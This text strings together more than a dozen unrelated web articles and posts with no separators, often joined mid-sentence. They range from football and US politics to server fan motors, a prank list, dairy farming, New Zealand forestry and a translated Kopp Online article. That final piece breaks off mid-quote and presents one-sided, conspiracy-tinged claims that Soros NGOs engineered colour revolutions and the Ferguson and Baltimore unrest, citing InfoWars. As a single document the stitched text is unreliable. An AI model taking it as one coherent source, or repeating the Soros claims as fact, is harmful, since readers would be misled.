"Making his statement before the West Ham game, I think it was a breath of fresh air and shows the ambition," added McClaren, who was sacked by Derby in May.
"He took over the club in a financial mess, it's now stable, so stable in fact that we've spent nearly £40m this summer, which shows his ambition and what we want the club to do.
"I've had numerous owners or chief executives and in Germany I had some who were in the press more than I was. I'm of a mind that one message should come out of the club - the manager's.
"At the present moment our relationship is transparent and the owner wants to be in the background - so be it. As long as the owner backs the club, fantastic."
'Top eight - that's a hard task'
Newcastle's players trained in front of around 14,000 fans in an open session on Tuesday and despite just two wins from seven pre-season games, McClaren was praiseworthy of his players's attitudes ahead of their opener at home to Southampton.
Media playback is not supported on this device Aleksandar Mitrovic aims to be one of Europe's best strikers
The club - without a trophy since the 1969 Fairs Cup - have acquired attacking midfielder Georginio Wijnaldum, defender Chancel Mbemba and striker Aleksandar Mitrovic in a bid to improve their squad.
McClaren also reckons they have worked "tirelessly" on improving a defence that was the second-worst in the Premier League last season.
Upon his appointment, the former England coach stated Newcastle "should be winning cups and finishing in the top eight" and though he told BBC Radio Newcastle listeners that he would take cup competitions seriously, he added a top eight finish is "a hard task".
"To win a league you have to win 38 games, to win a cup, six or seven very good games and you can be there," said McClaren, who won the League Cup with Middlesbrough in 2004.
"Winning one was the highlight of my career - an unbelievable feeling. We want that."In a week, Hillary Clinton will take the stage alongside Bernie Sanders, Martin O'Malley, Jim Webb, and Lincoln Chafee to duke it out in the first Democratic debate, hosted by CNN in Las Vegas. While the Republicans have had their share of verbal elbowing and name-calling on live TV, Clinton, the Democratic frontrunner, has much more to lose if her takedowns backfire — especially if her criticism is leveled at her primary competition in the field, Sen. Bernie Sanders (I-Vt.).
"I've seen every attack people have thrown at him, and none of them have worked," former Vermont governor and Clinton supporter Howard Dean told The New York Times, adding that condescending to Sanders' character or political alignments will "only make him stronger, especially with his base — and we need his base." Clinton herself has said that she "knows Bernie" and respects his "enthusiastic and intense advocacy of his ideas." What's left, then, is for Clinton to prove her worth against Sanders using his wobbly record with gun control against him — as well as the flaws in his proposals:
Mrs. Clinton is unlikely to belittle Mr. Sanders. But her debate preparations have touched on, among other things, how Mr. Sanders would accomplish some of his ambitious proposals if he were elected president, according to three people briefed on the private discussions. (Mr. Sanders's spending plans — free public college tuition, a $1 trillion infrastructure program and a single-payer health care system — would be financed with a variety of tax increases; both would be nonstarters under a Republican-controlled Congress.) [The New York Times]
Sanders, however, will likely share none of the same reservations about taking swings at Clinton. "If you think establishment politics and establishment economics is the answer to our problems, fine," he told David Axelrod in a podcast. "There are good candidates out there." Jeva LangeTony Perkins styles his group, the Family Research Council, as America’s premier defender of religious liberty … even though Perkins himself opposes religious freedom for Muslim-Americans (and perhaps even liberal Christians) and FRC’s vice president has proposed banning mosques and stripping Muslim-Americans of their First Amendment rights.
On his “Washington Watch” radio program yesterday, Perkins repeated his claim that Islam is not protected under the U.S. Constitution.
While discussing GOP presidential candidate Ben Carson’s recent statement that he would never support a Muslim candidate for president, along with the claims of Kim Davis’ critics that a clerk would never receive such praise from the Religious Right had she been a Muslim, Perkins railed against media commentators for “interjecting” Islam “into all of these discussions.” He said that the media is using Islam as a “wedge” to divide conservatives, suggesting that Kim Davis’ decision to impose her Christian beliefs onto her county office was different because Islam is not protected in the Constitution, while Christianity is.
“Religious freedom and our liberty is ordered liberty under the Constitution,” Perkins said. “And as Dr. Carson pointed out, and I know this is driving the left crazy, that Islam is not just a religion, Islam is an economic system, it is a judicial system, it is a compressive system which is incompatible with the Constitution. That’s what Dr. Carson said and he happens to be correct.”
Perkins said that the country is under no obligation to provide legal protections for people “who want to blow — I mean, when was the last time you saw a Baptist trying to blow something up?”
This may surprise Thomas Jefferson, the author of the First Amendment, who made clear while discussing a bill in Virginia that religious freedom protects Muslims and other non-Christians:
Where the preamble declares, that coercion is a departure from the plan of the holy author of our religion, an amendment was proposed, by inserting the word “Jesus Christ,” so that it should read, “a departure from the plan of Jesus Christ, the holy author of our religion;” the insertion was rejected by a great majority, in proof that they meant to comprehend, within the mantle of its protection, the Jew and the Gentile, the Christian and Mahometan, the Hindoo, and Infidel of every denomination.
Perkins’ remarks also go up against the Treaty of Tripoli, which was negotiated under George Washington, signed by John Adams and approved unanimously by the U.S. Senate in 1797.
As the Government of the United States of America is not, in any sense, founded on the Christian religion,—as it has in itself no character of enmity against the laws, religion, or tranquility, of Mussulmen,—and as the said States never entered into any war or act of hostility against any Mahometan nation, it is declared by the parties that no pretext arising from religious opinions shall ever produce an interruption of the harmony existing between the two countries.
The only thing Perkins’ remarks truly reveal is that the Family Research Council is more interested in promoting bigoted attacks on minority rights than actually protecting religious freedom.Download this article in PDF format.
Nearly everyone has heard the term “cloud-based computing,” yet most of us who rely on being able to access important data from our computers and smartphones don’t think much about where the data is actually stored. So what is cloud-based computing? Cloud-based computing refers to a mesh of remote servers that stores and moves data around the world so that we can access via Wi-Fi, local-area network (LAN), or a cellular network.
These remote servers act as a large storage device that consists of clusters of servers in a warehouse commonly referred to as a server farm. These server farms require a constant ambient temperature (optimal temperature range is between 68° and 71°F) to operate at their highest performance and to minimize any failure. They’re typically cooled by central air conditioning or heated with central heating depending on their location, just like a typical office space.
The actual server racks use a series of fans that cool the electronic components inside them. As most of us have experienced, electronic equipment heats up as it’s utilized, which eventually will affect the maximum performance of the equipment. To minimize the cost and size of heat sinks, the electronics are cooled by air flow using brushless dc (BLDC) fans to take advantage of the ambient temperature, which is kept constant by heating, ventilation, and air conditioning (HVAC) to cool the electronic components in the server rack.
Traditionally, server applications have used 12-V BLDC fans to cool the electronics in a cabinet. However, just like automotive applications, 54-V BLDC motors are being adapted for server applications for several reasons. This article discusses the two main reasons why server manufacturers are adopting 54V BLDC motors rather than traditional 12-V BLDC motors. It also breaks down the typical components required for 54-V motor-drive applications as well as some of the common motor-control algorithms.
Two Reasons for Switching to 54-V BLDCs
Server manufacturers are adopting 54-V BLDC motors over traditional 12-V BLDC motors because it allows them to use one fourth of the current. In turn, motor manufacturers can use thinner copper wire. This also enables motor manufacturers to reduce the size of the motor and, therefore, the overall cost of the motor, because fewer raw materials are required to perform the same work load. Secondly, server manufacturers save on the cost of expensive cables—one cable can power four times the number of motors using a 54-V BLDC motor compared to a 12-V BLDC using the same power bus gauge cable. For the same power, higher-voltage motors can use smaller cables or a narrower PCB track width.
For example, in a 450-W server, 32 W are consumed by the 12-V BLDC fans. The current required to power them can be calculated simply by the power equation (P= V × I, I = P/V, 32 W/12 V = 2.67 A). With 54-V BLDC fans, the current required will drop to about 0.67 A, assuming the power requirement is the same. This will allow the server engineer to use 26 American Wire Gauge (AWG) wire rather than the 20 AWG wire required to power 12-V BLDC fans.
1. This simplified block diagram of 54-V BLDC control circuitry identifies typical components used to drive a 54-V BLDC motor without compromising the proven motor-control algorithm.
With regard to PCB track widths, a server engineer can use 0.012-in. PCB track widths versus 0.1-in. PCB track widths when using 54-V BLDC fans instead of 12-V BLDC fans. That saves considerable board area when you add up all power bus traces in a server system.
Another benefit for server manufacturers who adopt 54-V BLDC motors is the ability to run motors at higher speeds to move more air density while still using the same form factor of a traditional 12-V BLDC motor. This, however, would necessitate additional current to support the power requirement needed to increase the torque power of the motor.
For example, server manufacturers can use a 50-W BLDC motor over the traditional 32-W motor to achieve greater air flow. Adopting a 54-V BLDC motor would only require 0.93 A, which is considerably less current than is required by a 12-V BLDC motor—4.17 A—to drive a 50-W motor to achieve the same workload. On top of that, the 12-V BLDC would require large PCB traces and larger cables, which is cost-prohibitive. Using the 54-V bus voltage allows server manufacturers to run fans at a higher speed to increase the air-flow density while also reducing the cabling cost.
Challenges in Operating from 54-V Supply Bus
One issue does emerge when dealing with the electronics that drive a 54-V BLDC fan motor: Server engineers can’t use the old 12-V hardware to drive 54-V motors. They’re required to use electronic components with a higher operating voltage that are suitable for a 54-V power supply with plenty of margin. Figure 1 shows a simplified block diagram of 54-V BLDC control circuitry, and identifies typical components used to drive a 54-V BLDC motor without compromising the proven motor-control algorithm.
2. The plot shows typical power efficiency vs. output current using Microchip’s MIC28514 75-V, 5-A synchronous buck regulator.
Nonetheless, several hardware solutions on the market can help ease this transition. For example, Microchip’s MIC28514 75-V synchronous buck regulator offers a solution for the first stage of power conversion (Fig. 2). With 5-A output-current capability, the device can power multiple BLDC systems from one 54-V supply rail. The MIC28514 converts the 54-V supply bus rail to a traditional 12-V power rail with better than 90% power efficiency. As a result, server engineers can continue to use the same motor-control algorithms and proven active components.
MOSFET drivers and MOSFET inverter circuitry will also have to be sized up to high-voltage MOSFETs, typically an 80-V power MOSFET for a 54-V BLDC application. However, the current requirement has been reduced to one-fourth that of 12-V systems, and the MOSFET on-resistance is much less important.
Microchip’s MIC4607 is an 85-V, three-phase MOSFET driver with adaptive dead-time, anti-shoot-through, and overcurrent production.
Leveraging High-Voltage Electronic Components
Other chip manufacturers have developed high-voltage integrated circuits similar to the MIC28514 75-V synchronous buck regulator, enabling customers to utilize 54-V BLDC motor technology without compromising the ability to use proven motor-control algorithms and other active components. These high-voltage devices make it feasible for server manufacturers to adopt 54-V power bus technology and, in turn, reduce overall system cost by utilizing smaller motors and less copper width on PCB boards and cabling. In addition, they have the ability to push more air with the same form factor due to increased voltage.
As cloud computing continues to grow in popularity and functionality, server manufacturers will have to adopt the best solutions for the best price to stay competitive in both cost and performance.Liquid`Nazgul Profile Blog Joined September 2002 22099 Posts Last Edited: 2012-06-04 02:18:08 #2 Thanks for being patient with us through this process. We're really excited to get "Liquid Rising" out the door to you guys! Administrator
DrJohnFever Profile Joined August 2011 Canada 17 Posts #3 YES!! CANNOT WAIT!
Archile Profile Joined June 2011 United States 384 Posts #4 WOOOOT going to be fantastic! TaeJa's last victory will never be forgotten
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Laplaces_imp Profile Joined January 2012 362 Posts #6 YES. This is going to be awesome. I can't wait
System42 Profile Joined August 2011 171 Posts #7 Awesome Liquid Fighting!
ToasteR_ Profile Joined December 2010 Canada 550 Posts #8 SO CLOSE!
flamewheel Profile Blog Joined December 2009 FREEAGLELAND 25124 Posts #9 Yay~ Writer damn, i was two days from retirement
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BEARDiaguz Profile Blog Joined June 2009 Australia 2352 Posts #11 What the fuck TLO put a goddamn shirt on. Progamer Australian Zerg user follow @iaguzSC2
logic13 Profile Blog Joined August 2009 Sweden 128 Posts #12 Sick trailer! Looking forward to this!
eviltomahawk Profile Blog Joined August 2010 United States 10876 Posts #13 Handsome alert at 1:10.
Nerd chills from that video :D ㅇㅅㅌㅅ
Zzoram Profile Joined February 2008 Canada 6963 Posts #14 I was actually just thinking about this documentary today and when it would come out.
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How will this be distributed?
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opterown Profile Blog Joined August 2011 Australia 42225 Posts #16 woooop Moderator Retired LR Bonjwa
Acronysis Profile Joined November 2011 866 Posts #17 SOooooooo awesome!!! I cannot wait. Amazing trailer. this documentary can't help but be amazing!
The multiplying villanies of man do swarm upon him.
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mizU Profile Blog Joined April 2010 United States 11896 Posts #19 OMGOMGOMGOMGOMG :DDDDDDDDDDD if happy ever afters did exist <3 @watamizu_
shadowy Profile Blog Joined August 2010 Bulgaria 305 Posts #20 Oooo, I am hooked up [Fear the leather Gracket!] // ¯\_(ツ)_/¯ // Liquid'Hero hwaiting!
1 2 3 4 5 37 38 39 Next AllNational Flag of Austria
Country: Austria
Austrian Flag Description:
The Austrian flag consists of three equal horizontal strips. The top and bottom stripes are red and the middle stripe is white.
Austrian Flag Meaning:
Legend has it that Duke Leopold V. of Austria (1157-1194) was involved in a battle during the Crusades, and after the fight his white battledress was soaked in blood. When he removed his belt, though, the cloth underneath was still white. That very sight is said to have inspired the red, white and red stripes on the Austrian flag.
Austrian Flag History:
The Austrian flag originated when Duke Friedrich II (1210-1246) wanted Austria to become more independent of the Roman Empire so he and adopted the red-white-red flag in 1230. The empire of Austria was founded in 1806. In 1938 it became a province of Nazi Germany. The allies occupied Austria after the Second World War until it became fully independent in 1955, on the condition that it remained neutral. The current version of the Austrian flag was adopted on April 27, 1984.
Interesting Austrian Flag Facts:
The Austrian and Danish flags are believed to be among the oldest national flag designs in the world.
The Austrian flag wasn't used during Austria's unification with Nazi Germany in 1938 until it gained independence in 1945.Manitoba coalition for MMIW families hosted meeting to talk over inquiry in Winnipeg on Saturday
Staff | The Canadian Press Posted: May 14, 2017
Some families of missing and murdered Indigenous women remain uncertain if they should take part in a national inquiry aimed at examining the violence in their communities, according to a group representing them.
Representatives of the Manitoba Missing and Murdered Indigenous Women Coalition said a meeting Saturday to talk over the responses from inquiry staff to major questions have failed to produce clear answers.
The group has raised concerns about the inquiry process and how traumatized families and survivors will be treated.
Coalition co-chair Hilda Anderson-Pyrz said these people need to be confident that it will be worthwhile for them to get involved.
“They need to give reassurance their voices will be heard in a good way and a meaningful way,” Anderson-Pyrz said following the four-hour-long, closed-door meeting in Winnipeg’s North End.
A major worry among the families is that the inquiry, announced by the federal government in December 2015, will be conducted within a framework that doesn’t account for Indigenous ways and traditions, said Sandra DeLaronde, also a coalition co-chair.
“If we let the inquiry go on its own, it will completely be in a legal tradition,” said DeLaronde. “It’s the only chance we’re going to get, and if it’s not done right, we’ve lost the opportunity.”
‘We’re still in the dark’
More than 30 people attended the meeting, according to attendee Sue Caribou, who has seen several of her relatives murdered and others go missing.
“We’re still in the dark,” Caribou said.
The coalition sent 43 questions to inquiry officials after an earlier meeting with the inquiry’s commissioners in Winnipeg.
That meeting came a few weeks after the inquiry postponed a series of regional advisory meetings supposed to help determine what issues should be covered when formal hearings get underway.
A copy of the questions and responses was supplied to The Canadian Press by people who attended Saturday’s meeting.
One question was whether the inquiry’s five commissioners and staff will receive “trauma informed” training. No one from the inquiry’s “health team” at the May 4 meeting assisted a family member who broke down and left, the coalition said in the document.
The coalition also asked how the inquiry will reach families and survivors in Canada’s isolated or northern communities and those who don’t use social media.
Inquiry officials responded that commissioners, directors and most of the staff will be trained in June 2017. They responded the inquiry is still working on an outreach strategy which may include “posters, podcasts on local radio stations.”
The inquiry is to complete its work and wrap up by December 2018, and the document says it is planning to do its work within the existing timeframe and budget.
Sheila North Wilson, the grand chief of an organization advocating for northern Manitoba First Nations, said it may not be enough time to get the job done in a meaningful way.
“The biggest need, immediately, that I see is we need to provide better resources and opportunities for our women and girls and families because ultimately that’s what leads to what happens,” she said.
“Women become vulnerable, people that take advantage of vulnerability have their way and then become victims of this issue.”
[SOURCE]Steve Mitchell/USA Today
MIAMI — Every time Hassan Whiteside appears on the floor now, there's an assumption his output will be astonishing. There's an expectation the NBA's unforeseen emerging force will stamp the stat sheet with some more say-what-wait-what(?!) numbers.
That's precisely what was happening here again Friday against the contending Mavericks and formidable center Tyson Chandler. The shorthanded Heat rode his ridiculous rebounding, 14 in the first seven minutes, into a sizable lead.
But that's not how this night will be remembered, not if the Heat wish to remember it at all. They allowed a 37-2 second-half run to the Mavericks, including 21-0 with Whiteside watching. It rendered his rebound total (24), tied for the second-highest mark in franchise history, just a trampled footnote in a 93-72 defeat.
This was the night when Hassan-ity officially went from novelty to necessity.
That's where the Heat are this season, 20-26 and desperate for any positives in their first post-LeBron James campaign. That's the level Whiteside has reached this month. He's risen as fast as, and from even further away than, Jeremy Lin did in 2012.
Yes, the Heat were without Dwyane Wade and Luol Deng on Friday, but they did have five core members of recent championship teams available, with four combining to play 104 minutes.
Yet they were entirely incapable of competing without a guy who played 19 games in his first two NBA seasons. Whiteside spent the next two years bouncing between three D-League teams, plus two Chinese squads (he learned some Mandarin) and two Lebanese teams (he learned something even more useful).
"Hummus is really good," Whiteside said. "Y'all need to try that."
He's really good, too |
people desire to have you around.
These are not jokes you have to crack your head to say, they are some few random things everyone should know. But then, the way and manner you say them, can add some humor to it. Here are some funny random things to say.
Funny Things To Say To People
1. Call Pizza Hut and ask for the phone number to Domino’s.
2. Order a pizza 5 minutes before New Years, and when it comes, yell, “I ORDERED THIS THING A YEAR AGO”!
3. Go to a public bathroom with chocolate on your hands, reach under the stall and ask for toilet paper.
4. Inhale some helium, walk up behind a little kid, and say: “Follow the yellow brick road”!
5. When someone says “have a nice day”, stare at them and say, “don’t tell me what to do”!
6. Make a cardboard car and go through a local drive through, then act as if everything’s normal.
7. Hide in a clothing rack in Walmart, and when somebody goes by yell “PICK ME! PICK ME!”
8. Go to Ikea, hide in a closet until someone walks by, jump out and yell “I’m back from Narnia!”
9. Go to the vet with a can of mashed tuna and ask can you fix him?
10. Point into the sky and say “look a dead bird” and see how many look.
11. Pretend to pass out in a busy place. When someone touches you scream “I WAS SLEEPING!” and run away.
12. Dress up as an m&m then run through the mall yelling ” the skittles are coming!”.
13. Go to a pet shop and ask for a cow.
14. In an elevator with many people in it, say “you may be wondering why I’ve gathered you here today”.
15. Make loud groans in a public bathroom then drop a cantaloupe in the toilet and sigh in relief.
16. Drive a tricycle past a cop while drinking a juice pouch screaming “YOU CAN’T CATCH ME”.
17. When you’re at school and someone talks on the p.a. system say loudly, “I’m hearing those voices again”.
18. Call Pizza Hut. Talk about the difficulties of being a vegetarian, then order a pepperoni pizza.
19. Show people a picture of yourself and ask them if they have seen this person.
20. Put up a “Lost Dog” poster with a picture of a cat on it.
21. In a public toilet, pass a note under the door next to you saying, “They’re onto us. We need to go.”
22. Bring a desk on an elevator. When people try to get on ask if they have an appointment.
23. In an elevator with a lot of people say I bet you are wondering why I have gathered you here today.
24. Point at an employee in a pet shop and shout “I WANT THAT ONE MOMMY!”
25. When someone says, “grab a seat” literally grab a chair and walk out of the room.
26. Fill a bucket with bouncy balls and dump them down a stairwell with people in it and yell, “MY BALLS!”
27. Go into the middle of a crowd and call out a random name and see who replies.
28. Hide in a wardrobe in a furniture store and when someone opens the door scream, “Welcome to Narnia”.
29. Place a walkie-talkie in your mailbox and scream at everyone who walks by.
30. Buy an ice cream, ask the cashier if they believe in unicorns then squish the cone on your forehead.
31. Hire a taxi. When the man asks you where you want to go, say “To infinity, and beyond”.
32. Dress as a chicken, go to KFC and shout “YOU’RE EATING MY BABIES” at people.
33. Super glue a quarter to the floor and see how many people try to pick it up.
34. Pick up a bag of sliced turkey in a store and scream “WHAT HAVE THEY DONE TO YOU!”
35. Glue coins to the ground and laugh at people who try to pick them up.
See Also: Top 50+ Funny Yahoo Questions and Answers
Random Funny Things To Say
36. Write a note saying “sorry about the damage on your car” and put it on a random car.
37. Complain that your doughnut has a hole in it.
38. Get into a taxi, yell “Follow that car!” and point to a parked car.
39. Yell out “hey you with the pants on” and see how many people turn around.
40. Put Mayonnaise in a bowl, freeze it, and tell your friend it’s ice cream.
41. Climb a tree by a sidewalk and talk to people walking by… make sure they can’t see you.
42. Get in a crowded elevator and say “I’m sure you’re wondering why I’ve gathered you all here.”
43. When someone asks you if you know what time it is, say yes and walk away.
44. Stay in the back of an elevator until a few people enter and say “I’ve Been Expecting You”.
45. Look at see-through glass and when someone is on the other side shout “OH MY GOD, I’M HIDEOUS!”
46. Call someone to tell them you can’t talk right now.
47. Point at someone and shout “You’re one of them!” Run and pretend to trip. Crawl away slowly.
48. Buy a donut and complain that there’s a hole in it.
49. Go to a football game and hold up a sign that says “The guy behind me can’t see.”
50. Dress up as a giant m&m and run through a busy place shouting “THE SKITTLES ARE COMING!”
51. Go to McDonald’s and ask for a sad meal, then yell “SAD PEOPLE HAVE TO EAT TOO!”
52. Write “Free Gumballs” on a piece of paper, and tape it to a gumball machine, and watch.
53. Tape a walkie-talkie to a tree or a lamppost and as people walk by say some random innuendos.
54. Find a grumpy person, give them a Snickers and say, “You’re not you when you’re hungry” and walk away.
55. Go to an electronic store with a banana and say that you want to upgrade to an apple.
56. In winter put snowballs in your freezer, then in summer, throw them at people who are sunbathing.
57. Call the Skittles Company and complain that Skittles do NOT taste like a rainbow.
58. Put up a lost cat sign that has a picture of a potato.
59. Go up to random people at the mall, show them your ID, and say, “HAVE YOU SEEN THIS MAN?”
60. Get in a taxi and tell the driver to “follow that car”, point to a parked car.
Funny Things To Say Randomly
61. Chase the ice cream truck until it stops for you. Then walk away.
62. Go to the movies with a spray bottle of water. Keep sneezing and spraying the person in front of you
63. Go to Walmart and get a grape, put it on the conveyor belt at the checkout and try to buy it.
64. Buy a T.V and remote as same as your neighbors and go outside changing the channels.
65. Put a lost dog poster with a picture of a hot dog.
66. Go to a public bathroom stall and when someone comes in say, “I’ve been expecting you…”
67. When your neighbor leaves, chase after their car yelling, “YOU FORGOT ME!”
68. Walk into a group of people chatting casually and then say “Are we gonna kill him or what?”
69. Keep screaming after you get off a roller coaster even when it stops.
70. Tie a balloon to your back and run and scream: “It’s chasing me!”
71. Go to an apple store with a banana and ask if you can upgrade to an apple.Today I saw for the first time the new advertising campaign by Lion for their “permeate free” milk and I was devastated
The lowest from of advertising is to denigrate some-one else’s product to sell yours and when I saw this add I was embarrassed to be a Dairy Farmers’ supplier. It would appear from the add the “evil” milk is UHT but the media gives me to think its the “No name or House Brand” fresh milk they are referring to.
This is what happened on our farm the day Dairy Farmers milk went permeate free.
We had to put 25,000 litres of our milk down the drain. This was because Lion didn’t have the capacity to pick our milk up. No explanation just a phone call. “Let it all out”
First it was the 5,000 litre vat.
Then it was the 30,000 litre vat.
It was a 24 hour process to ensure it went onto the paddocks as fertiliser and not into our waterways. The look on the staff’s faces when we had to do this was devastating. Thank god the cows didn’t know.
I just shake my head. My social conscience went into overdrive. 1 billion people go hungry every night and we are asked to tip the perfect food cocktail down the drain.
Curious about Permeate then you can read about it in a former blog post I wrote here or find out more by watching this catchy little vid Dairy Farmers have also kindly put together to keep you informed
Its interesting when Permeate burst onto the scene with great fanfare back in 2008 industry reaction was “no comment” Now its “trendy” and it apparently sells milk to talk about it.
By the way I cant find a dairy farmer who knows the “dairy farmer” in the add so it would appear at this stage he is an actor. Somebody please tell me I a wrong as we certainly don’t need people pretending to be dairy farmers as well
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Like this: Like Loading... Related(rear L-R)Japanese comedian Kinichi Hagimoto, director Roland Emmerich, producer Harald Kloser, actress Amanda Peet, actor John Cusack, and (front L-R)actor Liam James, actress Morgan Lily, poses for camera during a Japan premiere for the film "2012" at Tokyo, Japan, on November 17, 2009. UPI/Keizo Mori | License Photo
AMSTERDAM, Netherlands, June 23 (UPI) -- Thousands of people in the Netherlands say they expect the world to end in 2012, and many say they are taking precautions to prepare for the apocalypse.
The Dutch-language de Volkskrant newspaper said it spoke to thousands of believers in the impending end of civilization, and while theories on the supposed catastrophe varied, most tied the 2012 date to the end of the Mayan calendar, Radio Netherlands reported Monday.
De Volkskrant said many of those interviewed are stocking up on emergency supplies, including life rafts and other equipment.
Some who spoke to the newspaper were optimistic about the end of civilization.
"You know, maybe it's really not that bad that the Netherlands will be destroyed," Petra Faile said. "I don't like it here anymore. Take immigration, for example. They keep letting people in. And then we have to build more houses, which makes the Netherlands even heavier. The country will sink even lower, which will make the flooding worse."SALMON, Idaho (Reuters) - When Mica Craig reached down to brush what he thought was a stick off some mulch in the garden section of a Washington state Walmart, it turned around and sank its fangs into his hand.
The Friday encounter with a rattlesnake sent Craig, 47, to the hospital, where he said he remained in excruciating pain and may lose feeling in two fingers. Wal-Mart Stores Inc has apologized.
“I reached down to grab the stick to move it out of the way, and the snake stretched out, turned around and got its fangs in my right hand,” he said. “I slung it off and I did a tap dance on it until it was dead.”
Craig was rushed to the hospital by fellow customer Maria Geffre, who told Reuters she saw him crumple to the ground after crying out that he had been bitten by a snake.
“He had punctures on his hand and there was the dead rattler he’d stomped on,” Geffre said, describing the snake as at least a foot long with four buttons, or rattles.
Craig, a married father of two, said the mulch was for his marijuana plants, which he is licensed to grow for medical reasons. It was unclear whether the snake came from an adjacent field or arrived at the store along with garden supplies.
Craig said doctors who initially thought the snake had inflicted only a “dry bite” - or one that did not inject venom - treated him with six bags of anti-venom after his right hand swelled to the size of a melon.
A Walmart spokeswoman offered an apology to Craig and said the retailer was looking into how the incident could have happened at the store in Clarkston, in eastern Washington.
“At this point, it appears to be an isolated incident. We are working with a pest management team, which is conducting a sweep of the property to ensure there is no additional rattlesnake activity,” Walmart spokeswoman Kayla Whaling said.
Travis Taggart, director of the Center for North American Herpetology, said about half of documented rattlesnake bites, which are usually defensive when directed at humans, are “dry” but still cause severe pain.Stars align for NZ foresters as ‘wall of wood’ comes on
Stars align for NZ foresters as ‘wall of wood’ comes on stream, prices reach record highs
By Tina Morrison
Feb. 12 (BusinessDesk) – New Zealand forest growers, long overshadowed by booming returns from the dairy industry, look set to cash in on record prices for logs as they prepare to harvest trees planted in a flurry of activity two decades ago.
Forestry plantation activity in New Zealand jumped between 1992 and 1998, as a surge in Asian log prices lured investment syndicates to the sector. Radiata pine, which makes up about 90 percent of the nation’s plantations, are typically felled between 26 and 32 years, meaning the “wall of wood” will start being harvested from about 2018, according to government figures.
Rising prices for forestry products, the nation’s third-largest commodity export, have been overshadowed in the past year by a rapid rise in the fortune of dairy products, with overseas sales of milk powder, butter and cheese worth more than three times as much as sales of logs and wood. Still, forestry has been the quiet achiever, with the ASB New Zealand forestry index and the forestry sub-group of the ANZ Commodity Price Index touching record highs in January.
China is underpinning New Zealand commodity price strength as Asia’s largest economy undergoes urbanisation, growing incomes and demand for better housing, says ASB rural economist Nathan Penny.
Forestry exports to China rose more than 50 percent in 2013, putting New Zealand ahead of Russia as the biggest seller of logs into that market. Russia’s log exports have dipped as a result of an export tax aimed at stimulating its domestic timber processing industry. At the same time, shipments from the US and Canada have dwindled as demand picked up in their home markets.
“There’s a structural lift in demand from China which on average will mean prices will be higher than they have been over history,” said the ASB’s Penny. “China’s own housing market is really starting to accelerate with their housing construction at record levels and they haven’t got many places to go for supply so they have turned to us.”
While an increase in supply in coming years may put some pressure on prices, foresters have the ability to stagger harvests and continued Chinese demand is likely to underpin the sector, Penny said.
“China has this ability to really mop up a lot of supply. It’s not just the price of New Zealand logs which has been high but incredible growth in volume as well, put those two factors together and it is quite phenomenal,” he said. “That is the phenomenon that you see with China, is if you can supply them, they have an ability with a massive scale to take on large quantities of supply.”
Increased demand in New Zealand from the rebuilding of earthquake damaged Christchurch and a surging Auckland housing market are also adding to wood demand and supporting prices, Penny said.
New Zealand exports of logs and wood surged 22 percent last year to $3.86 billion. In comparison, meat exports rose just 2.2 percent to $5.28 billion and dairy exports increased 17 percent to $13.4 billion. The Wood Council of New Zealand, which represents forestry and wood processors, aims to triple export earnings to $12 billion by 2022.
Constraints in the meat sector, combined with increased encroachment from dairy and growth in forestry means the gap between the value of forestry and meat exports will continue to narrow, said the ASB’s Penny. Forestry overtook meat as the nation’s second-largest commodity export to China in 2013 and it is likely to also overtake it in New Zealand’s main export figures, he said.
The future payout for local logs has lured big investment to the sector.
The New Zealand Superannuation Fund partnered with Harvard Management Company, the endowment fund of Harvard University, and the Public Sector Pension Investment Board, Canada’s largest pension investment managers, for the harvesting rights to the 178,000 hectare Kaingaroa Forest, New Zealand’s largest plantation forest and one of the largest contiguous plantation forests in the Southern Hemisphere.
The NZ Super Fund valued its 41.25 percent stake in Kaingaroa at $1 billion as at June 30, saying it has delivered an 18.05 percent return since it was purchased in 2006.
Other large plantations are owned by US-based Hancock Natural Resource Group, the world’s largest timberland investment manager which bought 260,000 hectares of forests from Carter Holt Harvey, and Matariki Forests, a consortium managed by US-based Rayonier which owns 130,000 hectares of forests, according to Forest Owners Association records.
Demand for logs from China is hurting the local sawmilling industry as forest owners send their logs overseas rather than sell them to local processors, according to the New Zealand Timber Industry Federation.
Some 40 sawmills have closed since 2003, according to the New Zealand Forest Owners Association. In October, the Tachikawa Forest Products sawmill in Rotorua was put in receivership with the loss of 120 jobs.
Rather than going head to head with local sawmills or plywood factories in countries such as China with lower labour costs, New Zealand is better off focusing on exporting logs to those factories, Rayonier New Zealand managing director Paul Nicholls has said.
(BusinessDesk)
© Scoop MediaOriginally Appeared at Kopp Online. Translated from the German by Werner Schrimpf
The U.S. State Department is not happy with the Russian authorities having classified the various Soros NGO’s as “undesirable.” According to Washington, this would be a further step in preventing the kinds of activities beneficial to civil society and the Russian people. What was Putin thinking?
Blocking philanthropists and friends of mankind in conducting their fruitful activities is not a good move. Nothing is as hard as man’s ingratitude. Once again Russian’s president Putin is setting a bad example. At least the U.S. Foreign Office is firmly convinced of it.
Immediately after release of two rulings which will ban two leading philanthropic organizations from Russian territory, State Department spokesman Mark Toner announced the following:
Today’s designation of the Open Society Foundations and the Open Society Institute Assistance Foundation as so-called “undesirable” organizations will only further restrict the work of civil society in Russia for the benefit of the Russian people. This action is yet another example of the Russian Government’s growing crackdown on independent voices and a deliberate step to further isolate the Russian people from the world.
Both of these both organizations from US-mega-adventurer George Soros were added to the so-called “Stop-List” of foreign NGO’s in order to avoid any further infiltration to Russia. Russian general prosecutor argued the activities of these Soros organizations would represent a major threat to the constitutional order of the Russian Federation and national security. The broader global public could easily get the impression that this is another strike of Putin’s against democratic movements - at least this is the image Soros tries to generate. Because it should be quite clear to everybody that Soros and his network of global-acting NGO’s are just serving civil societies and would do nothing else but encourage liberty and democracy.
It’s not by chance that Soros initiated a bundle of activities decades ago, especially in Eastern European countries to promote the transition from „closed societies“ to „open societies“. But everybody should be aware that brutal wars are fought in order to establish peace, liberty, and democracy in allegedly suppressed societies, and bringing democracy is always a highly welcomed argument in order to forcibly implement geostrategic and economic interests.
Especially in the case of George Soros, there is no denying the fact that this person exercised a massive impact and influence on “color revolutions” and social riots – all measures and activities just for the benefit of a new democratic order. His track record includes the Arabian spring, subversions in Serbia, Georgia, Macedonia; and finally in the Ukraine. Basically it is unbelievable that a single individual is able to trigger stress and turmoil in national and international politics. According to international standards this is an absolute no-go regardless the motivation of the initiator of all these social dislocations. But these standards are obviously not valid and binding for George Soros.
In this case, Russia is accused of simply not wanting to accept such a serious exertion of influence. The U.S. should know it better at least when listening to InfoWars author Kurt Nimmo. He pointed to the dramatic incidents in Ferguson, Missouri, and Baltimore, Maryland, where Soros NGO’s had also a hand in the events. Additionally, Kurt Nimmo cited Polish journalist and author Konrad Stachnio, who wrote last October:
